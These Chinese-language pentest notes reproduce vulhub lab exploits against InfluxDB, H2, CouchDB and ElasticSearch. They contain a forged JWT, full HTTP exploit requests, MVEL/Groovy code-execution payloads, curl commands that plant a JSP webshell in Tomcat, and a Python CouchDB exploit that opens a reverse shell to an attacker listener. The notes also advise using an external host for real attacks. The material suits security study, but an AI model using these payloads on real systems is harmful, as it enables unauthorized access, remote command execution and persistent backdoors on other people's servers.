influxdb
未授权访问 jwt 验证CVE-2019-20933
漏洞介绍
默认端口: 8086 8088
influxdb是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启了认证, 但未设置参数 shared secret 的情况下, jwt 的认证密钥为空字符串,此时攻击者可 以伪造任意用户身份在 influxdb 中执行 SQL 语句。
复现
访问http://xxx:xxx/debug/vars可查看系统服务信息:
进入到/query查询功能会提示需要登录:
尝试通过jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
exp是时间戳,代表token过期时间,今天是2023-10-11,选到11-11过期的
其中,username需要为已存在的用户,这里尝试以admin登录,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳。
将secret的值置空,得到编码后的 Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjk5Njk2OTIzfQ.0-fnSjviqhL4GHE7WLYvAmqfQgfHQmRi3Ou3FPoJ1dg
然后/query查询页面,点击登录抓包
修改请求方法为post,然后添加请求头
Authorization: Bearer
下边是刚才生成的token
添加 POST 请求键值对:db=sample&q=show+users 发送数据包,得到查询结果。
有时候需要在请求头里添加
Content-Type:application/x-www-form-urlencoded
不然有可能报错404
常用命令
show databases # 显示数据库
show users # 显示用户
show measurements # 显示所有measurements
create user influx with password '*********' with all privileges; # 创建用户
create database xxx # 创建xxx数据库
drop database xxx # 删除xxx数据库
use xxx # 使用xxx数据库
select * from measurement_name limit 10
H2database
未授权访问 配置不当
漏洞介绍
默认端口:20051 H2 database是一款 Java 内存数据库,多用于单元测试。 H2 d atabase 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权:
spring.h2.console.enabled=true spring.h2.console.settings.web allow others=true 利用这个管理页面,我们可以进行JNDI 注入攻击,进而在目标环境下执行任意命令。
(也就是说因为配置问题,外部可以访问这个数据库并且可以进行命令注入)
复现
这里用vluhub靶场
靶机:192.168.138.132
攻击:192.168.138.128
http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。
这里靶场端口号为8080(记得服务器防火墙设置一下8080都端口)
注意这里端口号和h2database默认端口号20051不一样的
http://192.168.138.132:8080/h2-console
攻击机首先下载JNDI-Injection-Exploit.git(在脚本文件里边)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A
这个jar包其实就是生成监听模式,等着对方连接它,然后再把payload发送过去
所以如果实战的话,这里需要一个外网主机运行jar包
执行,-C 是要攻击的命令,-A后边跟的是攻击机的ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.138.128
回到网页
Driver Class:填javax.naming.InitialContext
JDBC URL填生成的rmi
点击连接,然后攻击机返回信息,代表命令执行成功
进入靶场内部查看文件是否生成成功,成功
CouchDB
权限绕过配合RCE漏洞(CVE-2017-12635)
漏洞介绍
影响版本:小于 1.7.0 以及 小于 2.1.1
默认端口号:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
复现
端口扫描发现5984端口开放
访问首页
修改数据包为一下数据包(只需要改host)
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 靶机ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
提示错误,提示只有管理员才能设置role角色
更改数据包为创建两个roles
这部分改就行
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
创建成功,这里之前已经成功过了,在发包就会显示报错,请忽略(具体也不知道为啥)
成功创建管理员账户,账户和密码都为vulhub
创建多个账户,url中的用户名必须和数据包中的用户名一样!
然后可以登录
登录成功
任意命令执行漏洞(CVE-2017-12636)
漏洞介绍
漏洞影响范围:Apache CouchDB小于 1.7.0 以及 小于 2.1.1
该漏洞是需要登录用户才可以触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。使用burp或者curl命令发送如下请求包:
复现
访问http://your-ip:5984/即可看到Couchdb的欢迎页面
该漏洞是需要登录用户才可以触发,直接使用exp
更改target(靶机)以及修改监听主机和端口
这里用了本机靶场192.168.138.132:5984
用阿里云设置监听,注意target后边没有/,不然会监听失败
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.138.132:5984'
command = rb"""bash -i >& /dev/tcp/攻击机ip/7777 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
#session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
服务器设置监听,执行exp,监听成功
ElasticSearch
未授权访问漏洞
ElasticSearch 是一款Java编写的企业级搜索服务,启动此服务默认会开放HTTP-9200端口,可被非法操作数据。
端口:9200
影响版本:ALL
若存在Elasticsearch未授权访问漏洞,则搜索以下内容发现敏感数据
直接get请求即可
http://localhost:9200/_plugin/head/ web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
CVE-2014-3120
漏洞介绍
ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。
jre版本:openjdk:8-jre
elasticsearch版本:v1.1.1
复现
访问目标的9200,会出现Elasticsearch的信息:
利用该漏洞要求Elasticsearch中有数据,所以先创建一条数据,采用Burp发送数据包:
POST /website/blog/ HTTP/1.1
Host: 192.168.138.132:9200
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 27
{
"name": "colleget"
}
创建成功
执行exp
POST /_search?pretty HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();"
}
}
}
}
}
执行成功
写入webshell漏洞:WooYun-2015-110216
漏洞介绍
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。所以该漏洞影响的ElasticSearch版本是1.5.x以前。
影响版本
1.5.x以前
复现
访问http://your-ip:9200即可看到ElasticSearch默认首页。并
并且8080存在tomcat目录
利用elasticsearch文件写入后门到/usr/local/tomcat/webapps/wwwroot/(实际目录可能会更改,需要找出来 )
首先创建一个恶意索引文档:
102的ascii是f,代表接受参数为f,test是文件名
curl -XPOST http://192.168.138.132:9200/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
把文件引入到web目录下面也就是tomcat目录下边,其中location的值即为我要写入的路径。
这个Repositories的路径可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。
curl -XPUT 'http://192.168.138.132:9200/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
存储库验证并创建:
curl -XPUT "http://192.168.138.132:9200/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
都显示true,创建成功
访问http://192.168.138.132:9200/wwwroot/indices/yz.jsp/snapshot-yz.jsp,这就是我们写入的webshell。
该shell的作用是向wwwroot下的test.jsp文件中写入任意字符串,如:http://192.168.138.132:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=123456,我们再访问/wwwroot/test.jsp就能看到123456了(注意这里是8080端口)
如果文件中写入一句话代码,就可以用哥斯拉等进行连接getshell
命令执行漏洞CVE-2015-1427
漏洞介绍
影响版本:
jre版本:openjdk:8-jre
elasticsearch版本:v1.4.2
v1.4: 1.4.2 , 1.4.1 , 1.4.0 , 1.4.0.Beta1
v1.3: 1.3.7 , 1.3.6 , 1.3.5 , 1.3.4 , 1.3.3 , 1.3.2 , 1.3.1 , 1.3.0.
CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞:1.是一个沙盒绕过; 2.是一个Goovy代码执行漏洞。
Groovy语言“沙盒”
ElasticSearch支持使用“在沙盒中的”Groovy语言作为动态脚本,但显然官方的工作并没有做好。lupin和tang3分别提出了两种执行命令的方法:
- 既然对执行Java代码有沙盒,lupin的方法是想办法绕过沙盒,比如使用Java反射
- Groovy原本也是一门语言,于是tang3另辟蹊径,使用Groovy语言支持的方法,来直接执行命令,无需使用Java语言
所以,根据这两种执行漏洞的思路,我们可以获得两个不同的POC。
Java沙盒绕过法:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Goovy直接执行命令法:
def command='id';def res=command.execute().text;res
复现
访问http://your-ip:9200即可看到ElasticSearch默认首页。
看下版本,1.4.2在这个漏洞版本范围中
先创建一个数据包,增加一个数据包
POST /website/blog/ HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
1、利用POST方式提交数据 2、文件名字任意 3、浏览器的原生 form 表单,如果不设置 enctype 属性,那么其中Content-Type字段最终会以 application/x-www-form-urlencoded 方式提交数据。 而对于"application/x-www-form-urlencoded",其参数组织形式是"键值对"。
利用反射机制执行JAVA代码Payload:
POST /_search? HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 501
{
"size":1,
"script_fields": {
"test#": {
"script":
"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getInputStream())).readLines()",
"lang": "groovy"
}
}
}
注:在任意的查询字符串中增加pretty参数,会让Elasticsearch美化输出,JSON响应以便更加容易阅读。
利用Groovy语言执行命令:
POST /_search?pretty HTTP/1.1
Host: 192.168.138.132:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}